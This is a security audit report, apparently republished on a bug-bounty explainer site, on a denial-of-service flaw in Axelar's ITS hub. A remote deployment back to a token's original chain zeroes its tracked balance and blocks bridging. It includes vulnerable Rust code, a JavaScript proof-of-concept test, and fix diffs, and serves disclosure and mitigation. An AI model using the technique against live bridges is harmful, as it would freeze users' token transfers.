Can block bridge or limit the bridgeable amount by initializing the ITSHub balance of the original chain
The ITSHub balance for a token's original chain is not tracked until a remote deployment message initialises it to zero. An attacker can send a remote deployment request back to the original chain, causing the balance to be set to zero and making subsequent transfers from that chain fail due to underflow, thereby blocking or limiting bridging.
Submitted by klau5
Impact
Token deployers can block the token bridge or limit the bridgeable amount without having Operator or FlowLimiter permissions. Especially, Canonical tokens can be attacked by anyone, not just the token register.
Proof of Concept
ITSHub does not track the balance of the token on the original chain. It only tracks the balance of other chains which is deployed by remote deployment. This is because on the original chain, minters are usually registered to allow token minting, making balance tracking difficult.
fn apply_balance_tracking(
storage: &mut dyn Storage,
source_chain: ChainName,
destination_chain: ChainName,
message: &ItsMessage,
) -> Result<(), Error> {
match message {
ItsMessage::InterchainTransfer {
token_id, amount, ..
} => {
// Update the balance on the source chain
@> update_token_balance(
storage,
token_id.clone(),
source_chain.clone(),
*amount,
false,
)
@> .change_context_lazy(|| Error::BalanceUpdateFailed(source_chain, token_id.clone()))?;
// Update the balance on the destination chain
@> update_token_balance(
storage,
token_id.clone(),
destination_chain.clone(),
*amount,
true,
)
@> .change_context_lazy(|| {
Error::BalanceUpdateFailed(destination_chain, token_id.clone())
})?
}
// Start balance tracking for the token on the destination chain when a token deployment is seen
// No invariants can be assumed on the source since the token might pre-exist on the source chain
ItsMessage::DeployInterchainToken { token_id, .. } => {
@> start_token_balance(storage, token_id.clone(), destination_chain.clone(), true)
.change_context(Error::InvalidStoreAccess)?
}
...
};
Ok(())
}
The balance of token on destination chain is initialized to 0 only when a new token is remotely deployed. And when tokens move, only the balance of the chain where the balance data has been initialized is updated. In normal cases, the balance of the original chain is not tracked.
pub fn start_token_balance(
storage: &mut dyn Storage,
token_id: TokenId,
chain: ChainName,
track_balance: bool,
) -> Result<(), Error> {
let key = TokenChainPair { token_id, chain };
match TOKEN_BALANCES.may_load(storage, key.clone())? {
None => {
let initial_balance = if track_balance {
@> TokenBalance::Tracked(Uint256::zero())
} else {
TokenBalance::Untracked
};
TOKEN_BALANCES
.save(storage, key, &initial_balance)?
.then(Ok)
}
Some(_) => Err(Error::TokenAlreadyRegistered {
token_id: key.token_id,
chain: key.chain,
}),
}
}
pub fn update_token_balance(
storage: &mut dyn Storage,
token_id: TokenId,
chain: ChainName,
amount: Uint256,
is_deposit: bool,
) -> Result<(), Error> {
let key = TokenChainPair { token_id, chain };
let token_balance = TOKEN_BALANCES.may_load(storage, key.clone())?;
match token_balance {
Some(TokenBalance::Tracked(balance)) => {
let token_balance = if is_deposit {
balance
@> .checked_add(amount)
.map_err(|_| Error::MissingConfig)?
} else {
balance
@> .checked_sub(amount)
.map_err(|_| Error::MissingConfig)?
}
.then(TokenBalance::Tracked);
TOKEN_BALANCES.save(storage, key.clone(), &token_balance)?;
}
@> Some(_) | None => (),
}
Ok(())
}
However, there is a way to initialize the ITSHub balance of the original chain. When initializing the balance, it is set to 0, not the actual amount of tokens minted on the original chain. Therefore, if the balance of the original chain is initialized, the ITSHub.update_token_balance will fail due to underflow, making it impossible to send tokens from the original chain to other chains or limiting the amount that can be bridged.
You can initialize the ITSHub balance of the source chain because the destinationChain parameter in InterchainTokenFactory.deployRemoteInterchainToken does not be checked if it is the source chain of the token. The same issue exists when directly calling InterchainTokenService.deployInterchainToken to deploy tokens. This allows token deployment requests from remote chains to the original chain with the same tokenId.
While the token with the tokenId already exists on the original chain, it’s possible to approve the GMP to the original chain, but the transaction will be failed when executed. However, the ITSHub balance initialization occurs during the process of transmitting the GMP to the destination chain, so it doesn’t matter if the transaction fails on the original chain. Moreover, the initialized balance is not deleted even if the GMP execution fails.
The same issue occurs when deploying a canonical interchain token through InterchainTokenFactory.deployRemoteCanonicalInterchainToken, and it has the most critical severity. The tokenId of the canonical token is determined by the address of the original token, and the caller’s address does not affect it. Therefore, anyone can call InterchainTokenFactory.deployRemoteCanonicalInterchainToken to deploy a specific canonical interchain token. This means anyone can prevent a specific canonical token from being bridged out from the original chain. Since a canonical token can only be registered once, this token can no longer be used normally with the Axelar bridge.
Let’s look at an example of what happens when you initialize the ITSHub balance of the original chain. Suppose there are chains A, B, and C, where A is the original chain, and B and C are related chains. Here are the ITSHub balances:
- A: None
- B: 100
- C: 50
Now, using the vulnerability, the balance on chain A has been initialized.
- A: 0
- B: 100
- C: 50
Until chain B or C send some tokens to chain A, no more tokens can be go out from chain A. Also, only a maximum of 150 tokens can move between bridges.
This is a PoC. You can run it by adding it to interchain-token-service/test/InterchainTokenService.js. It shows that chain A is the original chain, and after remotely deploying a token from A to B, it’s possible to request remote deployment from B to A. On chain A, a token with the same tokenId is already deployed, so the GMP execution on the chain A will be failed, but the balance of chain A in ITSHub will be initialized to 0.
describe('PoC remote deploy to original chain', () => {
const tokenName = 'Token Name';
const tokenSymbol = 'TN';
const tokenDecimals = 13;
let sourceAddress;
before(async () => {
sourceAddress = service.address;
});
it('Can request to remote deploy for original chain', async () => {
const salt = getRandomBytes32();
const tokenId = await service.interchainTokenId(wallet.address, salt);
const tokenManagerAddress = await service.tokenManagerAddress(tokenId);
const minter = '0x';
const operator = '0x';
const tokenAddress = await service.interchainTokenAddress(tokenId);
const params = defaultAbiCoder.encode(['bytes', 'address'], [operator, tokenAddress]);
let payload = defaultAbiCoder.encode(
['uint256', 'bytes32', 'string', 'string', 'uint8', 'bytes', 'bytes'],
[MESSAGE_TYPE_DEPLOY_INTERCHAIN_TOKEN, tokenId, tokenName, tokenSymbol, tokenDecimals, minter, operator],
);
const commandId = await approveContractCall(gateway, sourceChain, sourceAddress, service.address, payload);
// 1. Receive remote deployment messages and deploy interchain tokens on the destination chain
await expect(service.execute(commandId, sourceChain, sourceAddress, payload))
.to.emit(service, 'InterchainTokenDeployed')
.withArgs(tokenId, tokenAddress, AddressZero, tokenName, tokenSymbol, tokenDecimals)
.and.to.emit(service, 'TokenManagerDeployed')
.withArgs(tokenId, tokenManagerAddress, NATIVE_INTERCHAIN_TOKEN, params);
const tokenManager = await getContractAt('TokenManager', tokenManagerAddress, wallet);
expect(await tokenManager.tokenAddress()).to.equal(tokenAddress);
expect(await tokenManager.hasRole(service.address, OPERATOR_ROLE)).to.be.true;
// 2. Can request a remote deployment to the source(original) chain
const destChain = sourceChain;
payload = defaultAbiCoder.encode(
['uint256', 'bytes32', 'string', 'string', 'uint8', 'bytes'],
[MESSAGE_TYPE_DEPLOY_INTERCHAIN_TOKEN, tokenId, tokenName, tokenSymbol, tokenDecimals, minter],
);
await expect(
reportGas(
service.deployInterchainToken(salt, destChain, tokenName, tokenSymbol, tokenDecimals, minter, gasValue, {
value: gasValue,
}),
'Send deployInterchainToken to remote chain',
),
)
.to.emit(service, 'InterchainTokenDeploymentStarted')
.withArgs(tokenId, tokenName, tokenSymbol, tokenDecimals, minter, destChain)
.and.to.emit(gasService, 'NativeGasPaidForContractCall')
.withArgs(service.address, destChain, service.address, keccak256(payload), gasValue, wallet.address)
.and.to.emit(gateway, 'ContractCall')
.withArgs(service.address, destChain, service.address, keccak256(payload), payload);
// 3. ITSHub will initialize the balance of the original chain
});
});
Recommended Mitigation Steps
-
In
InterchainTokenFactory.deployRemoteInterchainToken, check ifdestinationChainis the same asoriginalChainNameto prevent remote deployment requests to the original chain.function deployRemoteInterchainToken( string calldata originalChainName, bytes32 salt, address minter, string memory destinationChain, uint256 gasValue ) external payable returns (bytes32 tokenId) { string memory tokenName; string memory tokenSymbol; uint8 tokenDecimals; bytes memory minter_ = new bytes(0); { bytes32 chainNameHash_; if (bytes(originalChainName).length == 0) { chainNameHash_ = chainNameHash; } else { chainNameHash_ = keccak256(bytes(originalChainName)); } + require(chainNameHash_ != keccak256(bytes(destinationChain)), "Cannot remote deploy on original chain"); address sender = msg.sender; salt = interchainTokenSalt(chainNameHash_, sender, salt); tokenId = interchainTokenService.interchainTokenId(TOKEN_FACTORY_DEPLOYER, salt); IInterchainToken token = IInterchainToken(interchainTokenService.interchainTokenAddress(tokenId)); tokenName = token.name(); tokenSymbol = token.symbol(); tokenDecimals = token.decimals(); if (minter != address(0)) { if (!token.isMinter(minter)) revert NotMinter(minter); minter_ = minter.toBytes(); } } tokenId = _deployInterchainToken(salt, destinationChain, tokenName, tokenSymbol, tokenDecimals, minter_, gasValue); } -
Check
originalChainNameanddestinationChaininInterchainTokenFactory.deployRemoteCanonicalInterchainTokento ensure that a remote deploy cannot be requested to the original chain. -
When deploying by
InterchainTokenService.deployInterchainTokendirectly, it’s not possible to check if the original chain and destination chain are the same. Store information about the original chain for eachtokenIdin ITSHub, and ensure that the balance of the original chain is not initialized.
Assessed type
Invalid Validation
milapsheth (Axelar) confirmed and commented:
The report is valid. We consider this a Medium severity issue, however, since assets can’t be stolen. It’s a DOS issue that prevents canonical tokens from being transferred from the origin chain to other chains. ITS hub can be upgraded easily to handle the scenario where
source_chain == destination_chainand fix the balance for the source chain, so the impact is low.
The Warden has identified a mechanism via which bridging of canonical tokens can be permanently DoSd.
Upgrades of contract logic are not considered appropriate mitigations for vulnerabilities such as the one described (as we could effectively resolve any and all vulnerabilities identified via upgrades), so I believe that a high-risk severity rating is appropriate for this submission.
milapsheth (Axelar) commented:
@0xsomeone - In the case of a bug that allows stealing user funds, an upgrade could be too late if the issue is already exploited. Whereas if the DoS issue reported here is triggered, an upgrade can fix the issue without loss of funds. Furthermore, ITS Hub is designed to be upgradable (a non upgradable contract would have made this issue more severe). For this reason, we consider this to be a Medium severity issue since the impact is much lower than a compromise of user funds.
@milapsheth - While from a practical perspective you might consider this to be a medium-severity issue, C4 guidelines are clear that contract upgrades cannot be utilized to mitigate the severity of a vulnerability (i.e. we consider this DoS irrecoverable). As such, this vulnerability’s severity will remain from a C4 audit perspective.
Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.
How it worked
Root cause
Likely the destination chain is not validated against the token's original chain, allowing a remote deployment message to initialise the original chain's balance to zero instead of its actual token supply.
Impact
Bridging of the affected token from its original chain can be blocked or limited; the report notes that for canonical tokens anyone can trigger this, and the project considers it a medium-severity denial of service since assets cannot be stolen.
What the attacker needed
Ability to call the bridge contract; a token identifier for the target token
The fix
The report recommends checking that the destination chain is not the original chain in the factory's remote deployment functions, and having ITSHub store the original chain per token so it never initialises that chain's balance.
How it was found
- Deploy an interchain token on its original chain and remotely deploy it to another chain.
- Send a remote deployment request back to the original chain using the same token identifier.
- The ITSHub processes the message and initialises the original chain's balance to zero.
- Subsequent transfers from the original chain fail because the balance underflows.
Explained by bugbounty.wiki with AI from the original and checked against quotes from it; it can still be wrong. Read the original before relying on a detail.
Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.
A bridge moves tokens between blockchains. This bridge keeps a record of how many tokens it thinks are on each chain, but it never recorded the starting amount on the chain where the token was first created. An attacker can trigger a message that sets that starting amount to zero. After that, any attempt to move tokens away from the original chain fails because the bridge tries to subtract from zero, so the token gets stuck.
What is DoS?
A request that exhausts resources or crashes a component. Many programs forbid testing it; reports usually show it from code, not by attacking.